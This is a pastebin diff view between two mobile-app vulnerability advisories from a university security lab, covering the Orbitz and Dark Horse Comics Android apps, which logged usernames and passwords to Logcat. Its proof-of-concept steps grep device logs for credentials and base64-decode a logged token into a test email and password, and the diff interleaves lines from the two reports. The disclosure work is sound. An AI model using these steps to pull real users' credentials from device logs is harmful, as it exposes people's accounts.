View difference between Paste ID: 5ZDDCqgL and GgpFz3ZW

-# Exploit Title: Orbitz Android App - Username/Password Logging
+# Title: Dark Horse Comics - Logging Sensitive Information
-# Application: Orbitz
+# Application: Dark Horse Comics
-# Version: 19.31.1
+# Version: 1.3.21
-# Software Link: https://play.google.com/store/apps/details?id=com.orbitz
+# Software Link: https://play.google.com/store/apps/details?id=com.darkhorse.digital
-# Company: Orbitz
+# Company: Dark Horse Comics
 # Installs: 1,000,000+
-# Impact: Looking at the output of Logcat, hackers can get username and password of Orbitz
+# Impact: hackers can get username and password of Dark Horse Comics, looking at the log.
 # Category: Mobile Apps
 # Tested on: Android 9
 
 ---Description---
-Usernames and passwords are stored in the log during the authentication. So, hackers can obtain user password/ID of Orbitz, simply looking at Logcat. Especially, in old Android versions prior to Android Jelly Bean, any app installed can access Logcat without any permission.
+Dark Horse Comics, the popular comics app installed more than 1 million, stores a user token in Logcat. The user token is the Base64-encoded string from password and username, so by decoding it, hackers can obtain usernames and passwords of the app.
 Especially, in old Android versions prior to Android Jelly Bean, any app installed can access Logcat without any permission.
 
 
 ---Vendor feedback---
 After reporting, the vendor has quickly fixed this problem and released a new version.
-1. Try to login with Orbitz, entering username and password
+
 ---PoC---
-2. Search password in Logcat
+1. Try to log in Dark Horse Comics, Android app.
-$ adb logcat | grep 'password'
+  - Opening Login UI
-08-06 18:31:28.036  6213  6294 D OkHttp  : email=myOrbizemail%40gmail.com&password=myOrbitPassword&staySignedIn=true&siteid=70201&langid=1033&sourceType=mobileapp&clientid=orbitz.app.android.phone%3A19.31.1
+  - Enter credentials. Fake information is enough for reproducing.
-
+
----Reporter---
+2. Search the token in the log
-Jaeho Lee(Jaeho.Lee@rice.edu)
+$ adb logcat | grep 'request with token'
 
 09-16 23:44:31.132 13303 14813 V DarkHorse.DungeonHTTPClient: Manually signing HTTP request with token: amFlaG8ubGVlQHJpY2UuZWR1Om15ZmFja3Bhc3N3b3Jk
 
 3. Decoding base64 to get a username and password.
 $ base64 -d
 amFlaG8ubGVlQHJpY2UuZWR1Om15ZmFja3Bhc3N3b3Jk
 jaeho.lee@rice.edu:myfackpassword
 
 --Reporter---
 Jaeho Lee (Jaeho.Lee@rice.edu)
 Rice Computer Security Lab
 Rice University